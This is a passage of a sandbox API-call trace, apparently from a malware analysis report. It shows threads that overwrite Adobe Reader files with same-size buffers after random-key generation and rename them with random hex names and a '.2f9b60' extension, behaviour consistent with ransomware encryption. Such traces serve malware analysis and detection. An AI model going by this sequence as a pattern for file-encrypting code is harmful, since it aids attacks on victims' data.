(HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d990) returned 1 [0201.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c740) returned 1 [0201.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1ce5d2b0 [0201.054] sprintf (in: _Dest=0x1ce5d2b0, _Format="%c%c" | out: _Dest="91") returned 2 [0201.054] sprintf (in: _Dest=0x1ce5d2b2, _Format="%c%c" | out: _Dest="5c") returned 2 [0201.054] sprintf (in: _Dest=0x1ce5d2b4, _Format="%c%c" | out: _Dest="ff") returned 2 [0201.054] sprintf (in: _Dest=0x1ce5d2b6, _Format="%c%c" | out: _Dest="36") returned 2 [0201.054] sprintf (in: _Dest=0x1ce5d2b8, _Format="%c%c" | out: _Dest="d9") returned 2 [0201.054] sprintf (in: _Dest=0x1ce5d2ba, _Format="%c%c" | out: _Dest="76") returned 2 [0201.054] sprintf (in: _Dest=0x1ce5d2bc, _Format="%c%c" | out: _Dest="91") returned 2 [0201.054] sprintf (in: _Dest=0x1ce5d2be, _Format="%c%c" | out: _Dest="f7") returned 2 [0201.054] sprintf (in: _Dest=0x1ce5d2c0, _Format="%c%c" | out: _Dest="23") returned 2 [0201.054] sprintf (in: _Dest=0x1ce5d2c2, _Format="%c%c" | out: _Dest="ad") returned 2 [0201.054] sprintf (in: _Dest=0x1ce5d2c4, _Format="%c%c" | out: _Dest="53") returned 2 [0201.055] sprintf (in: _Dest=0x1ce5d2c6, _Format="%c%c" | out: _Dest="a4") returned 2 [0201.055] sprintf (in: _Dest=0x1ce5d2c8, _Format="%c%c" | out: _Dest="1d") returned 2 [0201.055] sprintf (in: _Dest=0x1ce5d2ca, _Format="%c%c" | out: _Dest="25") returned 2 [0201.055] sprintf (in: _Dest=0x1ce5d2cc, _Format="%c%c" | out: _Dest="17") returned 2 [0201.055] sprintf (in: _Dest=0x1ce5d2ce, _Format="%c%c" | out: _Dest="c8") returned 2 [0201.055] sprintf (in: _Dest=0x1ce5d2d0, _Format="%c%c" | out: _Dest="35") returned 2 [0201.055] sprintf (in: _Dest=0x1ce5d2d2, _Format="%c%c" | out: _Dest="69") returned 2 [0201.055] sprintf (in: _Dest=0x1ce5d2d4, _Format="%c%c" | out: _Dest="7c") returned 2 [0201.055] sprintf (in: _Dest=0x1ce5d2d6, _Format="%c%c" | out: _Dest="9c") returned 2 [0201.055] sprintf (in: _Dest=0x1ce5d2d8, _Format="%c%c" | out: _Dest="90") returned 2 [0201.055] sprintf (in: _Dest=0x1ce5d2da, _Format="%c%c" | out: _Dest="08") returned 2 [0201.055] RtlInitAnsiString (in: DestinationString=0x337af948, SourceString="915cff36d97691f723ad53a41d2517c835697c9c9008" | out: DestinationString="915cff36d97691f723ad53a41d2517c835697c9c9008") [0201.055] RtlAnsiStringToUnicodeString (in: DestinationString=0x337af918, SourceString="915cff36d97691f723ad53a41d2517c835697c9c9008", AllocateDestinationString=1 | out: DestinationString="915cff36d97691f723ad53a41d2517c835697c9c9008") returned 0x0 [0201.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x430a1160 [0201.056] wcscat (in: _Dest=0x431899e0, _Source="915cff36d97" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\915cff36d97") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\915cff36d97" [0201.056] wcscat (in: _Dest=0x431899e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\915cff36d97.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\915cff36d97.2f9b60" [0201.056] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\915cff36d97.2f9b60", NtPathName=0x337af8f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\915cff36d97.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.056] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x4314af60 Thread: id = 2600 os_tid = 0x210c [0156.447] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.nld")) returned 0x20 [0156.448] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.NLD", dwFileAttributes=0x20) returned 1 [0156.448] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.nld"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd60 [0156.449] GetFileSizeEx (in: hFile=0xd60, lpFileSize=0x33c5fb60 | out: lpFileSize=0x33c5fb60*=7680) returned 1 [0156.449] SetFilePointerEx (in: hFile=0xd60, liDistanceToMove=0x1dfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.449] ReadFile (in: hFile=0xd60, lpBuffer=0x33c5fae0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x33c5fb28, lpOverlapped=0x0 | out: lpBuffer=0x33c5fae0*, lpNumberOfBytesRead=0x33c5fb28*=0x4, lpOverlapped=0x0) returned 1 [0158.909] SetFilePointerEx (in: hFile=0xd60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1ee0 [0158.910] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1f10 [0158.910] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1f40 [0158.910] NtQuerySystemTime (in: CurrentTime=0x33c5fa20 | out: CurrentTime=0x33c5fa20*=132462177640414000) returned 0x0 [0158.910] RtlRandomEx (in: Seed=0x33c5fa10 | out: Seed=0x33c5fa10) returned 0x8f11bee [0158.910] RtlRandomEx (in: Seed=0x33c5fa10 | out: Seed=0x33c5fa10) returned 0x5e1e9c87 [0158.910] RtlRandomEx (in: Seed=0x33c5fa10 | out: Seed=0x33c5fa10) returned 0x6addec08 [0158.910] RtlRandomEx (in: Seed=0x33c5fa10 | out: Seed=0x33c5fa10) returned 0x39e6201e [0158.910] RtlRandomEx (in: Seed=0x33c5fa10 | out: Seed=0x33c5fa10) returned 0x467140f0 [0158.910] RtlRandomEx (in: Seed=0x33c5fa10 | out: Seed=0x33c5fa10) returned 0x69f4e596 [0158.910] RtlRandomEx (in: Seed=0x33c5fa10 | out: Seed=0x33c5fa10) returned 0x427ec2a4 [0158.910] RtlRandomEx (in: Seed=0x33c5fa10 | out: Seed=0x33c5fa10) returned 0x315abb8d [0158.910] RtlRandomEx (in: Seed=0x33c5fa10 | out: Seed=0x33c5fa10) returned 0x6aca89c8 [0158.910] RtlRandomEx (in: Seed=0x33c5fa10 | out: Seed=0x33c5fa10) returned 0x56a1c3d3 [0158.910] RtlRandomEx (in: Seed=0x33c5fa10 | out: Seed=0x33c5fa10) returned 0x311853ef [0158.910] RtlRandomEx (in: Seed=0x33c5fa10 | out: Seed=0x33c5fa10) returned 0x20d81b2c [0158.910] RtlRandomEx (in: Seed=0x33c5fa10 | out: Seed=0x33c5fa10) returned 0xdc79297 [0158.910] RtlRandomEx (in: Seed=0x33c5fa10 | out: Seed=0x33c5fa10) returned 0x1de46b88 [0158.910] RtlRandomEx (in: Seed=0x33c5fa10 | out: Seed=0x33c5fa10) returned 0x46d2eead [0158.910] RtlRandomEx (in: Seed=0x33c5fa10 | out: Seed=0x33c5fa10) returned 0x3a76b675 [0158.910] RtlRandomEx (in: Seed=0x33c5fa10 | out: Seed=0x33c5fa10) returned 0x1c75be18 [0158.910] RtlRandomEx (in: Seed=0x33c5fa10 | out: Seed=0x33c5fa10) returned 0x461491ef [0158.910] RtlRandomEx (in: Seed=0x33c5fa10 | out: Seed=0x33c5fa10) returned 0x68a03ae1 [0158.910] RtlRandomEx (in: Seed=0x33c5fa10 | out: Seed=0x33c5fa10) returned 0x6aa68e10 [0158.911] RtlRandomEx (in: Seed=0x33c5fa10 | out: Seed=0x33c5fa10) returned 0x79ecfd3 [0158.911] RtlRandomEx (in: Seed=0x33c5fa10 | out: Seed=0x33c5fa10) returned 0x19e9f5c8 [0158.911] RtlRandomEx (in: Seed=0x33c5fa10 | out: Seed=0x33c5fa10) returned 0x61144d76 [0158.911] RtlRandomEx (in: Seed=0x33c5fa10 | out: Seed=0x33c5fa10) returned 0x19ecfd57 [0158.911] RtlRandomEx (in: Seed=0x33c5fa10 | out: Seed=0x33c5fa10) returned 0x60a487b0 [0158.911] RtlRandomEx (in: Seed=0x33c5fa10 | out: Seed=0x33c5fa10) returned 0x29ecd0ca [0158.911] RtlRandomEx (in: Seed=0x33c5fa10 | out: Seed=0x33c5fa10) returned 0x18043751 [0158.911] RtlRandomEx (in: Seed=0x33c5fa10 | out: Seed=0x33c5fa10) returned 0x1c2fd750 [0158.911] RtlRandomEx (in: Seed=0x33c5fa10 | out: Seed=0x33c5fa10) returned 0x32cd326d [0158.911] RtlRandomEx (in: Seed=0x33c5fa10 | out: Seed=0x33c5fa10) returned 0x222c3a23 [0158.911] RtlRandomEx (in: Seed=0x33c5fa10 | out: Seed=0x33c5fa10) returned 0x155a194d [0158.911] RtlRandomEx (in: Seed=0x33c5fa10 | out: Seed=0x33c5fa10) returned 0x46cbcb0a [0158.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1f70 [0158.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307b80 [0158.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1fa0 [0158.922] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307b80) returned 1 [0158.922] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb1f40) returned 1 [0158.923] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb1ee0) returned 1 [0158.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bcf0 [0158.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307b80 [0158.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1ee0 [0158.923] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb1ee0) returned 1 [0158.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b756b0 [0158.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b792c0 [0158.924] ReadFile (in: hFile=0xd60, lpBuffer=0x42b756b0, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x33c5fa10, lpOverlapped=0x0 | out: lpBuffer=0x42b756b0*, lpNumberOfBytesRead=0x33c5fa10*=0x1e00, lpOverlapped=0x0) returned 1 [0159.655] SetFilePointerEx (in: hFile=0xd60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.655] WriteFile (hFile=0xd60, lpBuffer=0x42b792c0, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x33c5fa14, lpOverlapped=0x0) [0187.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1df70 [0187.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1df40 [0187.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1df40) returned 1 [0187.148] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b792c0) returned 1 [0187.148] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b756b0) returned 1 [0187.148] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307b80) returned 1 [0187.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bcf0) returned 1 [0187.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42c1df40 [0187.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bcf0 [0187.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307b80 [0187.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1dee0 [0187.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1dee0) returned 1 [0187.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42c1dee0 [0187.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1deb0 [0187.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddad90 [0187.151] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddad90) returned 1 [0187.152] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307b80) returned 1 [0187.152] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bcf0) returned 1 [0187.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x423a90a0 [0187.152] SetFilePointerEx (in: hFile=0xd60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0187.152] WriteFile (in: hFile=0xd60, lpBuffer=0x423a90a0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x33c5fb30, lpOverlapped=0x0 | out: lpBuffer=0x423a90a0*, lpNumberOfBytesWritten=0x33c5fb30*=0x108, lpOverlapped=0x0) returned 1 [0206.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61510 [0206.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb160 [0206.061] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c3b0 [0206.061] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c3b0) returned 1 [0206.061] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d320 [0206.061] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c3b0 [0206.062] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c380 [0206.062] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c380) returned 1 [0206.062] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb160) returned 1 [0206.063] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61510) returned 1 [0206.063] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x43118720 [0206.063] sprintf (in: _Dest=0x43118720, _Format="%c%c" | out: _Dest="0c") returned 2 [0206.063] sprintf (in: _Dest=0x43118722, _Format="%c%c" | out: _Dest="de") returned 2 [0206.063] sprintf (in: _Dest=0x43118724, _Format="%c%c" | out: _Dest="26") returned 2 [0206.063] sprintf (in: _Dest=0x43118726, _Format="%c%c" | out: _Dest="42") returned 2 [0206.063] sprintf (in: _Dest=0x43118728, _Format="%c%c" | out: _Dest="c9") returned 2 [0206.064] sprintf (in: _Dest=0x4311872a, _Format="%c%c" | out: _Dest="3f") returned 2 [0206.064] sprintf (in: _Dest=0x4311872c, _Format="%c%c" | out: _Dest="c6") returned 2 [0206.064] sprintf (in: _Dest=0x4311872e, _Format="%c%c" | out: _Dest="6d") returned 2 [0206.064] sprintf (in: _Dest=0x43118730, _Format="%c%c" | out: _Dest="3c") returned 2 [0206.064] sprintf (in: _Dest=0x43118732, _Format="%c%c" | out: _Dest="fa") returned 2 [0206.064] sprintf (in: _Dest=0x43118734, _Format="%c%c" | out: _Dest="8c") returned 2 [0206.064] sprintf (in: _Dest=0x43118736, _Format="%c%c" | out: _Dest="68") returned 2 [0206.064] sprintf (in: _Dest=0x43118738, _Format="%c%c" | out: _Dest="40") returned 2 [0206.064] sprintf (in: _Dest=0x4311873a, _Format="%c%c" | out: _Dest="f2") returned 2 [0206.064] sprintf (in: _Dest=0x4311873c, _Format="%c%c" | out: _Dest="d2") returned 2 [0206.064] sprintf (in: _Dest=0x4311873e, _Format="%c%c" | out: _Dest="6b") returned 2 [0206.064] sprintf (in: _Dest=0x43118740, _Format="%c%c" | out: _Dest="b3") returned 2 [0206.064] sprintf (in: _Dest=0x43118742, _Format="%c%c" | out: _Dest="b2") returned 2 [0206.064] sprintf (in: _Dest=0x43118744, _Format="%c%c" | out: _Dest="f4") returned 2 [0206.064] sprintf (in: _Dest=0x43118746, _Format="%c%c" | out: _Dest="0f") returned 2 [0206.064] sprintf (in: _Dest=0x43118748, _Format="%c%c" | out: _Dest="2d") returned 2 [0206.065] sprintf (in: _Dest=0x4311874a, _Format="%c%c" | out: _Dest="65") returned 2 [0206.065] RtlInitAnsiString (in: DestinationString=0x33c5fba8, SourceString="0cde2642c93fc66d3cfa8c6840f2d26bb3b2f40f2d65" | out: DestinationString="0cde2642c93fc66d3cfa8c6840f2d26bb3b2f40f2d65") [0206.065] RtlAnsiStringToUnicodeString (in: DestinationString=0x33c5fb78, SourceString="0cde2642c93fc66d3cfa8c6840f2d26bb3b2f40f2d65", AllocateDestinationString=1 | out: DestinationString="0cde2642c93fc66d3cfa8c6840f2d26bb3b2f40f2d65") returned 0x0 [0206.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x4309f980 [0206.065] wcscat (in: _Dest=0x431c5940, _Source="0cde2642c93" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\0cde2642c93") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\0cde2642c93" [0206.065] wcscat (in: _Dest=0x431c5940, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\0cde2642c93.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\0cde2642c93.2f9b60" [0206.065] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\0cde2642c93.2f9b60", NtPathName=0x33c5fb50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\0cde2642c93.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x42c37d10 Thread: id = 2601 os_tid = 0x2110 [0156.451] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.nor")) returned 0x20 [0156.451] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.NOR", dwFileAttributes=0x20) returned 1 [0156.452] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.nor"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x834 [0156.453] GetFileSizeEx (in: hFile=0x834, lpFileSize=0x33ebf720 | out: lpFileSize=0x33ebf720*=7680) returned 1 [0156.453] SetFilePointerEx (in: hFile=0x834, liDistanceToMove=0x1dfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.453] ReadFile (in: hFile=0x834, lpBuffer=0x33ebf6a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x33ebf6e8, lpOverlapped=0x0 | out: lpBuffer=0x33ebf6a0*, lpNumberOfBytesRead=0x33ebf6e8*=0x4, lpOverlapped=0x0) returned 1 [0156.455] SetFilePointerEx (in: hFile=0x834, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.455] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc3e0 [0156.455] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc5c0 [0156.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc650 [0156.456] NtQuerySystemTime (in: CurrentTime=0x33ebf5e0 | out: CurrentTime=0x33ebf5e0*=132462177615922000) returned 0x0 [0156.456] RtlRandomEx (in: Seed=0x33ebf5d0 | out: Seed=0x33ebf5d0) returned 0x678f5d7c [0156.456] RtlRandomEx (in: Seed=0x33ebf5d0 | out: Seed=0x33ebf5d0) returned 0x43b87f37 [0156.456] RtlRandomEx (in: Seed=0x33ebf5d0 | out: Seed=0x33ebf5d0) returned 0x69f5442b [0156.456] RtlRandomEx (in: Seed=0x33ebf5d0 | out: Seed=0x33ebf5d0) returned 0x1f681a0c [0156.456] RtlRandomEx (in: Seed=0x33ebf5d0 | out: Seed=0x33ebf5d0) returned 0x1e39bcc9 [0156.456] RtlRandomEx (in: Seed=0x33ebf5d0 | out: Seed=0x33ebf5d0) returned 0x4cde3e2b [0156.456] RtlRandomEx (in: Seed=0x33ebf5d0 | out: Seed=0x33ebf5d0) returned 0x185fa0b3 [0156.456] RtlRandomEx (in: Seed=0x33ebf5d0 | out: Seed=0x33ebf5d0) returned 0x6916ee9e [0156.456] RtlRandomEx (in: Seed=0x33ebf5d0 | out: Seed=0x33ebf5d0) returned 0x4b9e5576 [0156.456] RtlRandomEx (in: Seed=0x33ebf5d0 | out: Seed=0x33ebf5d0) returned 0x13e18f21 [0156.456] RtlRandomEx (in: Seed=0x33ebf5d0 | out: Seed=0x33ebf5d0) returned 0x2b2da721 [0156.456] RtlRandomEx (in: Seed=0x33ebf5d0 | out: Seed=0x33ebf5d0) returned 0x5ff0b99d [0156.456] RtlRandomEx (in: Seed=0x33ebf5d0 | out: Seed=0x33ebf5d0) returned 0x3ae7fa92 [0156.456] RtlRandomEx (in: Seed=0x33ebf5d0 | out: Seed=0x33ebf5d0) returned 0x123c302e [0156.456] RtlRandomEx (in: Seed=0x33ebf5d0 | out: Seed=0x33ebf5d0) returned 0x3ee53f25 [0156.456] RtlRandomEx (in: Seed=0x33ebf5d0 | out: Seed=0x33ebf5d0) returned 0x4eca548c [0156.456] RtlRandomEx (in: Seed=0x33ebf5d0 | out: Seed=0x33ebf5d0) returned 0x3105dfe7 [0156.456] RtlRandomEx (in: Seed=0x33ebf5d0 | out: Seed=0x33ebf5d0) returned 0x36eec1d1 [0156.456] RtlRandomEx (in: Seed=0x33ebf5d0 | out: Seed=0x33ebf5d0) returned 0x12043b26 [0156.456] RtlRandomEx (in: Seed=0x33ebf5d0 | out: Seed=0x33ebf5d0) returned 0x57884eca [0156.456] RtlRandomEx (in: Seed=0x33ebf5d0 | out: Seed=0x33ebf5d0) returned 0x61b5bd53 [0156.457] RtlRandomEx (in: Seed=0x33ebf5d0 | out: Seed=0x33ebf5d0) returned 0x28574699 [0156.457] RtlRandomEx (in: Seed=0x33ebf5d0 | out: Seed=0x33ebf5d0) returned 0x70c3c46b [0156.457] RtlRandomEx (in: Seed=0x33ebf5d0 | out: Seed=0x33ebf5d0) returned 0x463c2c4f [0156.457] RtlRandomEx (in: Seed=0x33ebf5d0 | out: Seed=0x33ebf5d0) returned 0xfc4e22c [0156.457] RtlRandomEx (in: Seed=0x33ebf5d0 | out: Seed=0x33ebf5d0) returned 0x515a95f7 [0156.457] RtlRandomEx (in: Seed=0x33ebf5d0 | out: Seed=0x33ebf5d0) returned 0x2138afe0 [0156.457] RtlRandomEx (in: Seed=0x33ebf5d0 | out: Seed=0x33ebf5d0) returned 0x789623b0 [0156.457] RtlRandomEx (in: Seed=0x33ebf5d0 | out: Seed=0x33ebf5d0) returned 0x28121e9c [0156.457] RtlRandomEx (in: Seed=0x33ebf5d0 | out: Seed=0x33ebf5d0) returned 0xe7ed92d [0156.457] RtlRandomEx (in: Seed=0x33ebf5d0 | out: Seed=0x33ebf5d0) returned 0x32a95d45 [0156.457] RtlRandomEx (in: Seed=0x33ebf5d0 | out: Seed=0x33ebf5d0) returned 0x1e052fed [0156.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc680 [0156.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24c20 [0156.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc6b0 [0156.468] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24c20) returned 1 [0156.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc650) returned 1 [0156.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc3e0) returned 1 [0156.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18cd0 [0156.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24c20 [0156.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc3e0 [0156.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc3e0) returned 1 [0156.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a445f0 [0156.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a48200 [0156.470] ReadFile (in: hFile=0x834, lpBuffer=0x42a445f0, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x33ebf5d0, lpOverlapped=0x0 | out: lpBuffer=0x42a445f0*, lpNumberOfBytesRead=0x33ebf5d0*=0x1e00, lpOverlapped=0x0) returned 1 [0156.472] SetFilePointerEx (in: hFile=0x834, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.472] WriteFile (hFile=0x834, lpBuffer=0x42a48200, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x33ebf5d4, lpOverlapped=0x0) [0186.715] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca8e0 [0186.715] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca910 [0186.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceca910) returned 1 [0186.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a48200) returned 1 [0186.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a445f0) returned 1 [0186.718] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24c20) returned 1 [0186.718] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18cd0) returned 1 [0186.718] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1ceca910 [0186.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18cd0 [0186.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24c20 [0186.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca940 [0186.720] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceca940) returned 1 [0186.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1ceca940 [0186.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca970 [0186.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca9a0 [0186.721] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceca9a0) returned 1 [0186.721] RtlFreeHeap 